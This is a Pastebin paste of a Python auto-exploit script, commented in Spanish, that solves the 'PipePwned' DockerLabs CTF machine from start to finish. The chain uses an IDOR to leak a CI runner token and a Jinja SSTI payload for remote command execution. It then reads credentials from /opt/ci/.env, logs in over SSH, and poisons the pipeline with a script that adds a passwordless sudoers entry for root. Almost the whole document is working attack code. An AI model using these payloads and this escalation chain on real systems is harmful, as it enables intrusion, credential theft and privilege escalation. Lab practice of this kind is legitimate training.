mikisbd

AUTOPWN PipePwned - dockerlabs.es

Aug 12th, 2026 (edited)
34
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.65 KB | Cybersecurity | 0 0
  1. import requests
  2. import re
  3. import time
  4. import paramiko
  5. import sys
  6.  
  7. IP = "172.17.0.2"
  8. BASE_URL = f"http://{IP}"
  9.  
  10. def get_runner_info():
  11.     """Paso 1: IDOR para obtener información del runner"""
  12.     print("[*] Paso 1: Obteniendo información del runner (IDOR)")
  13.     url = f"{BASE_URL}/api/jobs/126/trace"
  14.     response = requests.get(url)
  15.    
  16.     if response.status_code == 200:
  17.         print("    ✅ IDOR exitoso")
  18.         print(f"    📄 Log obtenido ({len(response.text)} bytes)")
  19.        
  20.         # Extraer información relevante
  21.         env_vars = re.findall(r'CI_RUNNER_TOKEN=(\S+)', response.text)
  22.         builds_dir = re.findall(r'CI_BUILDS_DIR=(\S+)', response.text)
  23.        
  24.         if env_vars:
  25.             print(f"    🏷️  Runner token: {env_vars[0]}")
  26.         if builds_dir:
  27.             print(f"    📁 Builds dir: {builds_dir[0]}")
  28.        
  29.         return response.text
  30.     else:
  31.         print("    ❌ Error obteniendo IDOR")
  32.         return None
  33.  
  34. def test_ssti():
  35.     """Paso 2: Probar SSTI con {{2*2}}"""
  36.     print("[*] Paso 2: Probando SSTI con {{2*2}}")
  37.     url = f"{BASE_URL}/pipelines/new"
  38.     data = {"name": "{{2*2}}", "ref": "main"}
  39.     response = requests.post(url, data=data)
  40.    
  41.     if response.status_code == 200 and "4" in response.text:
  42.         print("    ✅ SSTI confirmada ({{2*2}} = 4)")
  43.         return True
  44.     else:
  45.         print("    ❌ SSTI no confirmada")
  46.         return False
  47.  
  48. def rce_payload(payload):
  49.     """Paso 3: Ejecutar RCE via SSTI"""
  50.     url = f"{BASE_URL}/pipelines/new"
  51.     ssti_payload = f"{{{{cycler.__init__.__globals__.os.popen('{payload}').read()}}}}"
  52.     data = {"name": ssti_payload, "ref": "main"}
  53.     response = requests.post(url, data=data)
  54.    
  55.     if response.status_code == 200:
  56.         # Extraer resultado del SSTI
  57.         match = re.search(r'Pipeline <strong>(.*?)</strong>', response.text, re.DOTALL)
  58.         if match:
  59.             return match.group(1).strip()
  60.     return None
  61.  
  62. def get_env_file():
  63.     """Paso 3: Leer /opt/ci/.env via SSTI"""
  64.     print("[*] Paso 3: Leyendo /opt/ci/.env via SSTI")
  65.     result = rce_payload("cat /opt/ci/.env")
  66.     if result:
  67.         print("    ✅ .env leído correctamente")
  68.         print(f"    📄 Contenido:\n{result}")
  69.        
  70.         # Extraer credenciales
  71.         ssh_user = re.search(r'DEVOPS_SSH_USER=(\S+)', result)
  72.         ssh_pass = re.search(r'DEVOPS_SSH_PASS=(\S+)', result)
  73.        
  74.         if ssh_user and ssh_pass:
  75.             print(f"    👤 Usuario: {ssh_user.group(1)}")
  76.             print(f"    🔑 Contraseña: {ssh_pass.group(1)}")
  77.             return ssh_user.group(1), ssh_pass.group(1)
  78.     else:
  79.         print("    ❌ Error leyendo .env")
  80.     return None, None
  81.  
  82. def ssh_connect(username, password):
  83.     """Paso 4: Conectar via SSH"""
  84.     print("[*] Paso 4: Conectando via SSH")
  85.     try:
  86.         ssh = paramiko.SSHClient()
  87.         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  88.         ssh.connect(IP, username=username, password=password, timeout=10)
  89.         print("    ✅ Conexión SSH exitosa")
  90.         return ssh
  91.     except Exception as e:
  92.         print(f"    ❌ Error en SSH: {e}")
  93.         return None
  94.  
  95. def get_user_flag(ssh):
  96.     """Paso 4: Obtener user_flag"""
  97.     print("[*] Paso 4: Obteniendo user_flag.txt")
  98.     stdin, stdout, stderr = ssh.exec_command("cat user_flag.txt")
  99.     flag = stdout.read().decode().strip()
  100.     if flag:
  101.         print(f"    🚩 user_flag: {flag}")
  102.         return flag
  103.     else:
  104.         print("    ❌ No se encontró user_flag.txt")
  105.         return None
  106.  
  107. def ppe_exploit(ssh):
  108.     """Paso 5: PPE - Poisoned Pipeline Execution"""
  109.     print("[*] Paso 5: Poisoned Pipeline Execution")
  110.    
  111.     # Crear script malicioso
  112.     malicious_script = '''#!/bin/bash
  113. echo "devops ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
  114. '''
  115.    
  116.     # Escribir script en /opt/ci/builds/
  117.     stdin, stdout, stderr = ssh.exec_command(f"echo '{malicious_script}' > /opt/ci/builds/pwn.sh")
  118.     print("    ✅ Script malicioso escrito en /opt/ci/builds/pwn.sh")
  119.    
  120.     # Hacer ejecutable
  121.     ssh.exec_command("chmod +x /opt/ci/builds/pwn.sh")
  122.     print("    ✅ Script hecho ejecutable")
  123.    
  124.     print("    ⏳ Esperando que el runner ejecute el script (20s)...")
  125.     time.sleep(25)  # Esperar el intervalo del runner
  126.    
  127.     # Verificar escalada
  128.     stdin, stdout, stderr = ssh.exec_command("sudo -i cat root_flag.txt")
  129.     flag = stdout.read().decode().strip()
  130.    
  131.     if flag:
  132.         print(f"    🚩 root_flag: {flag}")
  133.         return flag
  134.     else:
  135.         print("    ❌ No se pudo leer root_flag")
  136.         return None
  137.  
  138. def main():
  139.     print("=" * 60)
  140.     print("  MASoftware CI/CD - Explotación completa")
  141.     print("=" * 60)
  142.    
  143.     # Paso 1: IDOR
  144.     get_runner_info()
  145.     print()
  146.    
  147.     # Paso 2: SSTI
  148.     if not test_ssti():
  149.         print("[!] SSTI no confirmada, deteniendo...")
  150.         return
  151.     print()
  152.    
  153.     # Paso 3: RCE + .env
  154.     user, password = get_env_file()
  155.     if not user or not password:
  156.         print("[!] No se obtuvieron credenciales")
  157.         return
  158.     print()
  159.    
  160.     # Paso 4: SSH + user_flag
  161.     ssh = ssh_connect(user, password)
  162.     if not ssh:
  163.         return
  164.    
  165.     user_flag = get_user_flag(ssh)
  166.     print()
  167.    
  168.     # Paso 5: PPE + root_flag
  169.     if user_flag:
  170.         root_flag = ppe_exploit(ssh)
  171.    
  172.     ssh.close()
  173.    
  174.     print("\n" + "=" * 60)
  175.     print("  ¡MÁQUINA COMPLETADA!")
  176.     if user_flag:
  177.         print(f"  🚩 user_flag: {user_flag}")
  178.     if 'root_flag' in locals() and root_flag:
  179.         print(f"  🚩 root_flag: {root_flag}")
  180.     print("=" * 60)
  181.  
  182. if __name__ == "__main__":
  183.     main()
Advertisement
Add Comment
Please, Sign In to add comment